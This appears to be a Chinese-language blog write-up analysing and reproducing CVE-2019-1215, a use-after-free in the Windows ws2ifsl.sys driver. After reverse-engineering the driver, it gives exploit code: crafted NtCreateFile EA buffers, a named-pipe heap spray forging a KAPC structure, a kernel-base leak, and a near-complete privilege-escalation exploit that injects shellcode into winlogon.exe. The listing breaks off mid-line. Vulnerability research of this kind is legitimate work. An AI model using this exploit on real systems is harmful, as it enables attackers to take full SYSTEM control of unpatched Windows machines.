Windows内核CVE-2019-1215分析与复现

该漏洞源于ws2ifsl.sys驱动程序在处理内存对象时的缺陷,可能导致释放重引用错误。攻击者可以利用该错误,通过精心构造的输入,访问已释放的内存区域,从而执行恶意码,提升权限。



本文测试环境:

◆虚拟机:Window10 19H1 x64 1709

◆物理机:Windows11 24H2 x64



一、补丁


自动草稿




二、漏洞分析


进入驱动的主函数DriverEntry中可以看到,驱动程序首先创建了一个名为\\Device\\WS2IFSL的设备供用户态访问:



自动草稿

驱动程序中实现了多个与用户态交互的函数,如下图所示:

自动草稿

MajorFunction的下标,实际上对应了Windows内核中的宏定义,对应的字段如下:

自动草稿


IRP_MJ_CREATEIRP_MJ_CLOSE分别对应了我们在用户态创建文件与关闭文件句柄的请求,需要注意的是对于IRP_MJ_CLOSE来说,只有当我们传入的文件句柄对应的那个内核文件的引用计数为0时,才会真正执行。

DispatchCreate函数

由于DispatchCreate对应我们创建文件的函数,而文件句柄这是我们与驱动交互的入口,因此我将从这里开始分析,该函数的实现如图所示:

自动草稿

可以看到,函数会根据SystemBuffer + 0x8的值来判断我们要创建的是ProcessFile还是SocketFile,根据微软文档的结构体定义,其中SystemBuffer实际上对应的是一片用户缓冲区。


在此之后,会将FileObject,mode,SystemBuffer作为参数传递给要执行的函数,而对于参数FileObject来说,当我们用户态获得一个句柄时,内核就会创建对应的FileObject,该结构体可以在Windbg中查看到,结构如下:


5:kd> dt nt!_FILE_OBJECT +0x000 Type             :Int2B +0x002 Size             :Int2B +0x008 DeviceObject     :Ptr64 _DEVICE_OBJECT +0x010 Vpb              :Ptr64 _VPB +0x018 FsContext        :Ptr64 Void +0x020 FsContext2       :Ptr64 Void +0x028 SectionObjectPointer :Ptr64 _SECTION_OBJECT_POINTERS +0x030 PrivateCacheMap  :Ptr64 Void +0x038 FinalStatus      :Int4B +0x040 RelatedFileObject :Ptr64 _FILE_OBJECT +0x048 LockOperation    :UChar +0x049 DeletePending    :UChar +0x04a ReadAccess       :UChar +0x04b WriteAccess      :UChar +0x04c DeleteAccess     :UChar +0x04d SharedRead       :UChar +0x04e SharedWrite      :UChar +0x04f SharedDelete     :UChar +0x050 Flags            :Uint4B +0x058 FileName         :_UNICODE_STRING +0x068 CurrentByteOffset :_LARGE_INTEGER +0x070 Waiters          :Uint4B +0x074 Busy             :Uint4B +0x078 LastLock         :Ptr64 Void +0x080 Lock             :_KEVENT +0x098 Event            :_KEVENT +0x0b0 CompletionContext :Ptr64 _IO_COMPLETION_CONTEXT +0x0b8 IrpListLock      :Uint8B +0x0c0 IrpList          :_LIST_ENTRY +0x0d0 FileObjectExtension :Ptr64 Void


其中DeviceObject对应的就是驱动创建的那个设备,也就是\\Device\\WS2IFSL,而FsContext则对应了驱动程序自定义的数据,接下来首先分析CreateProcessFile函数中,主要部分如下:

自动草稿

函数首先根据我们传入的Handle的值,通过ObReferenceObjectByHandle获取到句柄对应的对象,该函数的原型为:


NTSTATUS ObReferenceObjectByHandle( [in]            HANDLE                     Handle, [in]            ACCESS_MASK                DesiredAccess, [in, optional]  POBJECT_TYPE               ObjectType, [in]            KPROCESSOR_MODE            AccessMode, [out]           PVOID                      *Object, [out, optional] POBJECT_HANDLE_INFORMATION HandleInformation );


而在此处,由于传入的ObjectType参数为PsThreadType,表示我们期望获取的对象为一个线程对象,当获取成功后会进行判断线程对象是否属于当前进程,如果是的话,则通过ExAllocatePoolWithQuotaTag函数分配一个大小为0x108的内存池,而其中第一个参数为POOL_TYPE,这是一个枚举类型,根据查阅微软的文档,可以知道实际上函数中的512对应的是NonPagedPoolNx,也就是非分页池,其中的Nx代表了权限位为不可执行。


当内存申请成功后,会进行一系列的赋值操作,并且进入InitializeRequestQueue,由于赋的值是用户不可控制的,因此对于大部分值我们不用太过关心,只需要关注在buffer + 0x0处存储了字符串corPbuffer + 0x8存储了当前进程的PID,并且在InitializeRequestQueue的如图所示的位置:

自动草稿

我们可以看到驱动程序将APC对象挂在了buffer->ApcObject的位置,该结构体实际上是我自己恢复的,对应的偏移实际上为buffer+0x30处,而第二个参数则是指明了要把APC挂在哪个线程上,这里的pthread_Object实际就是根据我们前面传入的句柄所获取到的,是用户可控的。


当赋值操作完成后,会将buffer挂在fileObject + 0x18的位置,根据前面给出的结构体定义,我们可以知道该偏移对应的是FsContext


而对于CreateSocketFile函数,大致与CreateProcessFile的前置逻辑相同,函数如下:

自动草稿

可以看到区别主要存在于赋值不同与ObReferenceObjectByHandle的不同,先看ObReferenceObjectByHandle,根据前面我们给出的函数原型可以知道,此时的ObjectType变为了IoFileObjectType,这代表文件对象类型,如用户空间打开的文件/设备句柄,那应该传入哪个文件或设备的句柄呢?


我们继续看下面的一段逻辑,首先将Object[0]给了v10,并通过IoGetRelatedDeviceObject来获取与Object[0]相关的是设备,其中DeviceObject这个全局变量对应的实际上就是驱动程序所注册的设备:\\Device\\WS2IFSL,然后取值判断,这里取得值有一点绕,我们拆开来看。

◆首先v10对应的是Object[0],这是一个指针数组,因此*v10指向了某个对象

◆对于**(v10 + 3)运算来说,这里看伪代码感觉有点不明白这个解引用的顺序,实际上看汇编很容易理解,这里v10对应的是RSI寄存器,而定位到对应的汇编可以看见,实际上进行的操作为mov     rax, [rsi+18h],而这个操作实际上就是取出v10指向的对象,取出偏移为0x18的位置的指针,再取出该指针偏移为0x8处的内容

◆对于*(*(v10 + 3) + 8LL)来说,实际上就是取出v10指向的对象,取出偏移为0x18的位置的指针,再取出该指针偏移为0x8处的内容


而根据条件判断的内容,驱动期望该指针偏移0处的内容为corP,期望该指针偏移8处的内容为PID,再根据前面CreateProcessFile函数对于赋值的处理,我们可以知道对于ProcessFilefileObject,偏移0x18实际上对应了FsContext,而*(Fscontext)*(Fscontext + 0x8)正好对应了字符串corP与进程的PID,因此我们可以知道,要传入的句柄实际上就是ProcessFile对应的句柄。


对于后面的赋值同样不用太过关注,只需要知道buffer + 0x0对于了字符串kcoS,而buffer + 0x10处存放了指向ProcessFilefileObject的指针。


DispatchReadWrite函数

根据MajorFunction数组的下标的宏定义可以知道,该函数对于了两种请求,分别为IRP_MJ_READIRP_MJ_WRITE,也就是对应了读写请求,该函数如下:

自动草稿

从图中我们可以看出,实际上读写请求只对应了SocketFile,而进入函数DoSocketReadWrite之后,我们可以看到:

自动草稿

函数首先将fileObject + 0x18处的值取出,这个偏移不论是对于SocketFile还是ProcessFile来说都是FsContext,而接下来,函数将FsContext作为参数传入了GetSocketProcessReference,该函数如下:

自动草稿

先是与锁相关的操作,而后将FsContext->Processfile_ptr引用计数加1,然后返回了FsContext->Processfile_ptr,而根据前面的分析,我们可以知道这里FsContext->Processfile_ptr指向的是ProcessFilefileObject,而需要注意的是,在这里引用计数+1的操作也只针对了ProcessFilefileObject,而并未针对FsContext指向的缓冲区。


接下来在返回了fileObject后,将其作为参数传入了QueueRequest函数:

自动草稿

这里由于我结构体恢复的某些字段可能不太对,导致看着很奇怪,实际上我分析了一下,这里似乎是在将某个节点挂入链表的尾部。


而后执行了SignalRequest

自动草稿

该函数最重要的一点就是调用了KeInsertQueueApc函数,将APC挂入了我们传入的线程对应的内核线程的APC列表中,并等待执行。


这里要注意的是,一旦APC被挂入了列表,那么即使我们关闭了句柄,也可以通过NtTestAlert等函数来强制执行。


DispatchClose函数

该函数对应的请求是IRP_MJ_CLOSE请求,也就是对应的我们在用户态关闭句柄的操作,但此操作真正的执行时机是当我们传入的句柄的引用计数为0时,该函数如下:

自动草稿

我们可以看见,该函数会根据*(FsContext)的值来选择关闭哪个句柄,我们关注值为corP的情况,假设我们在用户态分别打开了ProcessFileSocketFile,并用SocketFile进行读写,当我们关闭ProcessFile时,并不会触发DispatchClose,因为根据我们之前的分析,在SocketFile的读写操作中会增加ProcessFile的引用计数(在创建时也会增加引用计数),那么读写完毕后,引用计数减1,由于创建时也增加了引用计数,因此此时引用计数为1,而后我们关闭SocketFile,此时引用计数为0,因此ProcessFileFsContext被释放,而此时APC已经被挂在了线程的APC队列中,造成了UAF。


至此,漏洞的成因已经基本分析完毕,我们总结一下,个人认为该漏洞的根本原因在于两点:

◆缺乏细粒度的引用计数,因为只对fileObject进行了引用计数,但其中的FsContext并没有计算引用计数,只是跟着fileObject一起进行了释放

◆APC队列中的函数是可以不依赖于句柄调用的,因此在缓冲区释放以后还可以使用


接下来就是分析该如何进行漏洞利用了。



三、漏洞利用


首先我们思考一下我们可以控制哪些东西,如何进行交互。



对于该漏洞而言,我们可以控制ProcessFile对应的线程对象,也就是说可以控制将APC绑定到哪个线程对象上,而SocketFile实际则是依赖于我们创建的ProcessFile对象。


因此一个基本的交互思路是,我们创建一个ProcessFileSocketFile,并获取到对应的句柄,但这里需要注意一个关键点,在驱动程序注册设备时,仅仅使用了以下代码:

自动草稿

对于IoCreateDevice来说,DeviceObject是内核态的设备对象(DEVICE_OBJECT),存在于内核空间,内核里这个对象表示该驱动,但它本身并没有用户态可访问的名字。因此正常的CreateFile是无法获得到句柄的,而根据bluefrostlab的文章,我们可以用NtCreateFile来获取句柄。


那么此时,我们需要思考如何组织我们要传入的数据(也就是线程的句柄)。


为了传入某个线程句柄,我们首先需要创建一个线程:


DWORD WINAPI APCThread_1(LPVOID lparam){ SetEvent(sync_for_thread1); while(1){ if(signal_for_trigger1 == 1){ printf("[+] thread1 triggering vul...\n"); NtTestAlert(); while(1){ sleep(0x1000);             }         }         else{ Sleep(1);         }     }     return 0;  }


然后调用Windows的CreateThread进行创建:


HANDLEhAPCThread1 = CreateThread(00, APCThread_1, 000);


然后,我们需要创建一个ProcessFile,要传入的参数为hAPCThread1,并且由于我们期望其返回的是一个ProcessFile的句柄,因此定义如下函数:


HANDLE CreateProcessFileHandle(HANDLE hThread);


根据NtCreateFile的函数定义:

自动草稿


我们首先使用如下方法生成一个ObjectAttributes


HANDLE fileHandle =0; UNICODE_STRING device_name; OBJECT_ATTRIBUTESObjectAttributes_t; IO_STATUS_BLOCKIoStatusBlock_t; RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");  InitializeObjectAttributes(&ObjectAttributes_t&device_name, 0NULLNULL);


而我们的数据都是存放在倒数第二个参数,也就是EaBuffer中的,而EA属性的结构体,在Windows的官方文档中同样能找到记载:


typedef struct _FILE_FULL_EA_INFORMATION {   ULONG  NextEntryOffset;   UCHAR  Flags;   UCHAR  EaNameLength;   USHORT EaValueLength;   CHAR   EaName[1]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;


因此我们按照此定义,在我们的代码中定义一个相同的结构体,注意,由于我们是用户态,因此不能直接include对应头文件,所以需要自己定义:


自动草稿


而根据CreateProcessFileDispatchCreate访问偏移,我们不难得出以下结构:


SystemBuffer + 0x8  --> name SystemBuffer + 0x10 --> handle SystemBuffer + 0x18 --> APCRoutine SystemBuffer + 0x20 --> CancelRoutine


而观察_FILE_FULL_EA_INFORMATION,不难想到在+0x8的位置正好是name,因此我们可以写出以下代码:


    FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));      eaBuffer->NextEntryOffset = 0;     eaBuffer->Flags = 0;     eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;     eaBuffer->EaValueLength = sizeof(ProcessData);      RtlCopyMemory(eaBuffer->EaName, "NifsPvd", eaBuffer->EaValueLength + 1);      ProcessData* eaData =  (ProcessData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);      eaData->handle = (void*) hThread;     eaData->unknown1 = (void*) 0x2222222;     eaData->unknown2 = (void*) 0x3333333;     eaData->unknown3 = (void*) 0x4444444;     eaData->unknown4 = (void*) 0x5555555;


最后,我们只需要使用:


    NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData)); if (status != STATUS_SUCCESS){         printf("[-] NtCreateFile error: %x \n", status);         free(eaBuffer); return fileHandle;     }


即可创建出句柄。


对于SocketFile也是同理,根据偏移的关系,可以推测出:


SystemBuffer + 0x8  --> name SystemBuffer + 0x10 --> unknown SystemBuffer + 0x18 --> ProcessFileHandle


因此可以仿造前面的CreateProcessFileHandle写出如下代码:


HANDLE CreateSocketFileHandle(HANDLE hProc){     HANDLE fileHandle = 0;     UNICODE_STRING device_name;     OBJECT_ATTRIBUTES ObjectAttributes_t;     IO_STATUS_BLOCK IoStatusBlock_t;     RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");      InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0NULLNULL);      FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));      eaBuffer->NextEntryOffset = 0;     eaBuffer->Flags = 0;     eaBuffer->EaNameLength = sizeof("NifsSct") - 1;     eaBuffer->EaValueLength = sizeof(SocketData);      RtlCopyMemory(eaBuffer->EaName, "NifsSct", eaBuffer->EaValueLength + 1);      SocketData* eaData = (SocketData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);     eaData->unknown = 0x66666666;     eaData->handle = hProc;      NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData)); if (status != STATUS_SUCCESS){         printf("[-] NtCreateFile error: %x \n", status);         free(eaBuffer); return fileHandle;     }      free(eaBuffer); return fileHandle; }


运行后,发现能成功触发断点:

自动草稿


接下来我们思考如何利用漏洞,根据前面的分析,要完成提权需要五步:

◆首先释放ProcessHandle,此时由于SocketHandle的存在,引用计数为1

◆接下来使用SocketHandle进行一次读写操作,目的是为了使APC成功挂入线程的APC列表中,此时的引用计数为2

◆由于读写操作完成后,引用计数会-1,因此此时释放SocketHandle,引用计数变为0,触发DispatchClose,造成ProcessData被释放,而APC仍在队列未被调用

◆通过CreatePipe进行堆喷,获取到已经释放的内存,伪造KAPC结构体

◆调用NtTestAlert()强制触发APC调用


代码实现如下:


char* readBuffer = (char*)malloc(0x100); DWORDbytesRead =0;     IO_STATUS_BLOCK io;     LARGE_INTEGER byteOffset;     byteOffset.HighPart = 0;     byteOffset.LowPart = 0;     byteOffset.QuadPart = 0;     byteOffset.u.LowPart = 0;     byteOffset.u.HighPart = 0; ULONGkey =0;      CloseHandle(procHandle);  NTSTATUSret = NtWriteFile(sockHandle, 000, &io, readBuffer, 0x100, &byteOffset, &key);     CloseHandle(sockHandle);


测试代码可以看见,当关闭句柄时,SocketHandle触发了DispatchClose操作:


自动草稿


我们观察一下当APC初始化完成后的内存布局:


自动草稿


当我们调用NtTestAlert时,实际上会触发到+0x20处的KernelRoutine,这是一个重要的偏移,我们可以思考劫持该函数指针。


根据Alex Ionescu的文章,我们可以使用Named Pipe去堆喷,从而获取到被我们释放的堆块,然后根据偏移伪造一个KAPC结构体,从而实现控制流劫持。


我们先触发一次NtTestAlert,观察此时寄存器的情况:


自动草稿


可以发现此时第一个参数,也就是rcx指向了我们buffer + 0x30的位置,此位置存放的是KAPC结构,而rdx则指向了0xffffffffffffffff,这里我不知道具体指向的是哪个,但只要是0xffffffffffff就行了,因此可以通过伪造结构来实现提权。


此时,我们可以通过Named Pipe进行堆喷,伪造一个布局,申请到释放的内存后,内存中应该如下:


    *(DWORD64*)(payload + 0x0)  = 0x41414141414141;     *(DWORD64*)(payload + 0x8)  = 0x12121212;     *(DWORD64*)(payload + 0x10) = Linked_List_Entry;     *(DWORD64*)(payload + 0x18) = Linked_List_Entry;     *(DWORD64*)(payload + 0x20) = SeSetAccessStateGenericMapping_addr;     *(DWORD64*)(payload + 0x28) = 0xffffffffffffffff;     *(DWORD64*)(payload + 0x30) = 0xffffffffffffffff;     *(DWORD64*)(payload + 0x38) = 0xffffffffffffffff;     *(DWORD64*)(payload + 0x40) = 0x4040404040404040;     *(DWORD64*)(payload + 0x48) = TokenObj;


基于上述布局,通过触发线程APC强制执行,就可以劫持控制流到SeSetAccessStateGenericMapping,最后成功提权:


自动草稿

最终EXP如下:


#include <Windows.h> #include <stdio.h> #include <string.h> #include <ntstatus.h> #include <processthreadsapi.h> #include <winternl.h> #include <tlhelp32.h> #include<Psapi.h> #include<profileapi.h>  #pragma comment(lib, "ntdll.lib")  unsignedchar shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \ "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \ "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \ "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \ "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \ "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \ "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \ "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \ "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \ "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \ "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \ "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \ "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \ "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \ "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \ "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \ "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \ "\x78\x65\x00";  #define  ERR_LENGTH_MISMATCH 0xc0001 #define  ERR_DONT_FIND_TARGET 0xc0002  #define TOKEN_TYPE 0x5  #define PRIV_OFFSET 0x40  // typedef NTSTATUS(NTAPI* NtQuerySystemInformation_t)( //     IN SYSTEM_INFORMATION_CLASS SystemInformationClass, //     OUT PVOID SystemInformation, //     IN ULONG SystemInformationLength, //     OUT PULONG ReturnLength OPTIONAL //     );  // NtQuerySystemInformation_t NtQuerySystemInformation_p = NULL;  HANDLE sync_for_thread1 = 0; HANDLE sync_for_thread2 = 0; HANDLE signal_for_LPE = 0;  int signal_for_trigger1 = 0; int signal_for_trigger2 = 0;  typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,     HANDLE Event,     PIO_APC_ROUTINE ApcRoutine,     PVOID ApcContext,     PIO_STATUS_BLOCK IoStatusBlock,     PVOID Buffer,     ULONG Length,     PLARGE_INTEGER ByteOffset,     PULONG key);   typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);  NtTestAlert_t NtTestAlert = NULL; NtWriteFile_t NtWriteFile = NULL;  typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {     ULONG ProcessId;     UCHAR ObjectTypeNumber;     UCHAR Flags;     USHORT Handle; void* Object;     ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, * PSYSTEM_HANDLE;  typedef struct _SYSTEM_HANDLE_INFORMATION {     ULONG NumberOfHandles;     SYSTEM_HANDLE Handels[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;  typedef struct _FILE_FULL_EA_INFORMATION {   ULONG  NextEntryOffset;  // 0-3   UCHAR  Flags;            // 4   UCHAR  EaNameLength;     // 5   USHORT EaValueLength;    // 6-7   CHAR   EaName[1];        // 8 } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;  typedef struct PorcessData{     HANDLE handle; void* unknown1;  void* unknown2;  void* unknown3;  void* unknown4; }ProcessData;  typedef struct SocketData{ void* unknown;     HANDLE handle; }SocketData;  DWORD WINAPI APCThread_1(LPVOID lparam){ SetEvent(sync_for_thread1); while(1){ if(signal_for_trigger1 == 1){ printf("[+] thread1 triggering vul...\n"); NtTestAlert(); while(1){ Sleep(0x1000);             }         } else{ Sleep(1);         }     } return 0;  }  voidInjectCode(){     PROCESSENTRY32W entry;     entry.dwSize = sizeof(PROCESSENTRY32W);      HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (snapshot == INVALID_HANDLE_VALUE){ printf("[-] CreateToolhelp32Snapshot failed: %x\n"GetLastError()); return;     }  int pid = -1; if (Process32FirstW(snapshot, &entry)) { do{ wprintf(L"[DEBUG] Process: %s, PID: %d\n", entry.szExeFile, entry.th32ProcessID);  if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0) { printf("Found pid[%d]\n", entry.th32ProcessID);                 pid = entry.th32ProcessID; break;             }         } while (Process32NextW(snapshot, &entry));     } else{ printf("[-] Process32FirstW failed: %x\n"GetLastError());     }  CloseHandle(snapshot);  if (pid < 0){ printf("[-] Could not find process\n"); return;     }      HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!h){ printf("[-] Could not open process: %x\n"GetLastError()); return;     }  printf("Allocating Shellcode Space...\n");  void* buffer = VirtualAllocEx(h, NULLsizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!buffer){ printf("[-] VirtualAllocEx failed: %x\n"GetLastError()); CloseHandle(h); return;     }  if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), NULL)){ printf("[-] WriteProcessMemory failed: %x\n"GetLastError()); VirtualFreeEx(h, buffer, 0, MEM_RELEASE); CloseHandle(h); return;     }      HANDLE hthread = CreateRemoteThread(h, NULL0, (LPTHREAD_START_ROUTINE)buffer, NULL0NULL); if (hthread == INVALID_HANDLE_VALUE){ printf("[-] CreateRemoteThread failed: %x\n"GetLastError()); VirtualFreeEx(h, buffer, 0, MEM_RELEASE); CloseHandle(h); return;     }  printf("[+] Shellcode injected, thread created: %p\n", hthread); }  // static VOID CreateCmd() // { // 	STARTUPINFO si = { sizeof(si) }; // 	PROCESS_INFORMATION pi = { 0 }; // 	si.dwFlags = STARTF_USESHOWWINDOW; // 	si.wShowWindow = SW_SHOW; // 	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; // 	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); // 	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); // }  DWORD WINAPI APCThread_2(LPVOID lparam){ SetEvent(sync_for_thread2); while(1){ if(signal_for_trigger2 == 1){ printf("[+] thread2 triggering vul...\n"); NtTestAlert();  InjectCode();  SetEvent(signal_for_LPE); while(1){ Sleep(0x1000);             }         } else{ Sleep(1);         }     } return 0;  }  DWORD64 GetKernelPointer(HANDLE handle, DWORD type) {     PSYSTEM_HANDLE_INFORMATION handle_information = (PSYSTEM_HANDLE_INFORMATION)(malloc(0x20));     DWORD returnBytes = 0;     NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x10, handle_information, 0x20, &returnBytes);  if (status == STATUS_INFO_LENGTH_MISMATCH) { printf("[-] Length Mismatch in GetKernelPointer\n"); printf("[+] Taking Second Chance\n");  free(handle_information);          handle_information = (PSYSTEM_HANDLE_INFORMATION)(malloc(returnBytes));         status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x10, handle_information, returnBytes, &returnBytes); if (status == STATUS_INFO_LENGTH_MISMATCH) { printf("[-] Failed Two Times\n"); return ERR_LENGTH_MISMATCH;         }     }  for (int i = 0; i < handle_information->NumberOfHandles; i++) { if (handle_information->Handels[i].ProcessId == GetCurrentProcessId() && handle_information->Handels[i].ObjectTypeNumber == type) { if (handle == (HANDLE)handle_information->Handels[i].Handle) {                 DWORD64 TargetObject = (DWORD64)handle_information->Handels[i].Object; printf("[+] Target found: pid[%d], Type[%d], Handle[%d], Object[%p]\n", handle_information->Handels[i].ProcessId, type, handle, TargetObject); free(handle_information); return TargetObject;             }         }     } return ERR_DONT_FIND_TARGET; }  HANDLE CreateSocketFileHandle(HANDLE hProc){     HANDLE fileHandle = 0;     UNICODE_STRING device_name;     OBJECT_ATTRIBUTES ObjectAttributes_t;     IO_STATUS_BLOCK IoStatusBlock_t; RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");  InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0NULLNULL);      FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));      eaBuffer->NextEntryOffset = 0;     eaBuffer->Flags = 0;     eaBuffer->EaNameLength = sizeof("NifsSct") - 1;     eaBuffer->EaValueLength = sizeof(SocketData);  RtlCopyMemory(eaBuffer->EaName, "NifsSct", eaBuffer->EaValueLength + 1);      SocketData* eaData = (SocketData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);     eaData->unknown = 0x66666666;     eaData->handle = hProc;      NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData)); if (status != STATUS_SUCCESS){ printf("[-] NtCreateFile error: %x \n", status); free(eaBuffer); return fileHandle;     }  free(eaBuffer); return fileHandle; }  HANDLE CreateProcessFileHandle(HANDLE hThread){     HANDLE fileHandle = 0;     UNICODE_STRING device_name;     OBJECT_ATTRIBUTES ObjectAttributes_t;     IO_STATUS_BLOCK IoStatusBlock_t; RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");  InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0NULLNULL);      FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));      eaBuffer->NextEntryOffset = 0;     eaBuffer->Flags = 0;     eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;     eaBuffer->EaValueLength = sizeof(ProcessData);  RtlCopyMemory(eaBuffer->EaName, "NifsPvd", eaBuffer->EaValueLength + 1);      ProcessData* eaData =  (ProcessData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);      eaData->handle = (void*) hThread;     eaData->unknown1 = (void*) 0x2222222;     eaData->unknown2 = (void*) 0x3333333;     eaData->unknown3 = (void*) 0x4444444;     eaData->unknown4 = (void*) 0x5555555;      NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData)); if (status != STATUS_SUCCESS){ printf("[-] NtCreateFile error: %x \n", status); free(eaBuffer); return fileHandle;     }  free(eaBuffer); return fileHandle;  }  DWORD64 LeakKernelBase(){     LPVOID lpImageBase[1024];      DWORD lpcbNeeded;      TCHAR lpfileName[1024];   EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);  for(int i = 0; i < 1024; i++){ GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48); if(!(strcmp(lpfileName, "ntoskrnl.exe"))){ printf("[+] Found Kernel Base: %p\n", lpImageBase[i]); return lpImageBase[i];         }     } return NULL; }  intHeapSpray(DWORD64 thread_addr, DWORD64 TokenObj){      DWORD64 KernelBase = LeakKernelBase(); if(KernelBase == NULL){ return 0;     }      HMODULE UserBase = LoadLibraryExA("C:\\Windows\\System32\\ntoskrnl.exe"NULL, DONT_RESOLVE_DLL_REFERENCES); if(KernelBase == NULL){ printf("[-] Failed to Load ntoskrnl.exe\n"); return 0;     }     LPVOID UserFuncAddr = GetProcAddress(UserBase, "SeSetAccessStateGenericMapping"); if(KernelBase == NULL){ printf("[-] Failed to Get Process Address\n"); return 0;     }  printf("[+] UserBase [%p], UserFuncAddr [%p]\n", UserBase, UserFuncAddr);  FreeLibrary(UserBase);      DWORD64 offset = (DWORD64)UserFuncAddr - (DWORD64)UserBase;     DWORD64 SeSetAccessStateGenericMapping_addr = KernelBase + offset; printf("[+] Successfully Found SeSetAccessStateGenericMapping Addr[%p]\n", SeSetAccessStateGenericMapping_addr);            HMODULE UserBase2 = 